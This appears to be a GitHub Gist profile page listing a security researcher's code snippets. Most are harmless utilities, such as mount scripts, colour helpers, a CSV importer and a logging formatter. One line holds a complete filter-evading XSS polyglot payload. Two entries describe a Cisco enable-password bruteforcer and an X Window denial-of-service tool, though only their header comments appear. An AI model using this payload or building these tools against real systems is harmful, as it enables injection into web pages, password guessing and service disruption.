Skip to content

Instantly share code, notes, and snippets.

View epinna's full-sized avatar

Emilio epinna

View GitHub Profile
#!/bin/bash
# Copyright notice
# ================
#
# Copyright (C) 2014
# Emilio Pinna <emilio.pinn@gmail.com>
#
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
#!/bin/bash
ROOTFS='.'
EMU_BIN_NAME='qemu-arm-static'
EMU_BIN_FOLDER='/usr/bin/'
SHELL='/bin/sh'
cd "${ROOTFS}"
sudo mount -t proc proc proc/
sudo mount --rbind /sys sys/
sudo mount --rbind /dev dev/
@epinna
epinna / colors.py
Created October 14, 2014 21:33
Retro ANSI colors
'''
Set ANSI Terminal Color and Attributes.
http://code.activestate.com/recipes/574451-handling-ansi-terminal/
'''
from sys import stdout
esc = '%s['%chr(27)
reset = '%s0m'%esc
@epinna
epinna / enabler.c
Created April 4, 2012 18:10
Enabler, cisco enable bruteforcer
/*
enabler.
Cisco IOS privileged EXEC bruteforcer
Year: 2001
Included in Linux Backtrack v2
*/
@epinna
epinna / provincialize.py
Created July 16, 2012 09:09
Simple python script to import Italian comuni and province associated from official CVS list of Istat website.
# Provincialize - Simple script to import Italian comuni and provincie associated from
# official CVS list of Comuni Italiani downloaded from Istat web site:
# http://www.istat.it/it/archivio/6789
import csv, sys
try:
import MySQLdb
except:
print 'Run \'sudo apt-get install python-mysqldb\''
sys.exit(1)
@epinna
epinna / mallocstress.c
Created January 17, 2013 10:42
Slight LTP mallocstress.c modification to distribute stressing threads between CPUs
/******************************************************************************/
/* */
/* Copyright (c) International Business Machines Corp., 2001 */
/* */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License, or */
/* (at your option) any later version. */
/* */
/* This program is distributed in the hope that it will be useful, */
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Keybase proof

I hereby claim:

  • I am epinna on github.
  • I am epinna (https://keybase.io/epinna) on keybase.
  • I have a public key whose fingerprint is 05F1 954C E1FB 4611 F742 8DF4 2041 EEA1 A192 B451

To claim this, I am signing this object:

@epinna
epinna / XSh0k.c
Created January 31, 2017 15:05
Lame DoS by teenager me
/* 2/5/00 1.0
Xsh0k.c by n0rby -- NeURaL CoLLaPsE CrEw.
main code by AcidCrash -- NeURaL CoLLaPsE CrEw.
This dos simply creates a sequence of socket connections to Xwindow port
of a remote server. This cause a very disturbing effect to the XWindow user.
There are many and various effects: frequently Xwindow slows so much that
it's quite impossible to start new X programs; sometimes Xwindow don't
recognizes some keys or mouse input, and, more rarely it crash and
leave the user to the bash.
@epinna
epinna / logger.py
Created May 17, 2017 10:22
Python message format based on message logging level in Python 3
# Tested with Python 3.5.2
from config import LOGLEVEL
import logging
class SrvLogFormat(logging.Formatter):
err_fmt = "[E] %(msg)s"
warn_fmt = "[!] %(msg)s"
dbg_fmt = "[D] %(module)s: %(lineno)d: %(msg)s"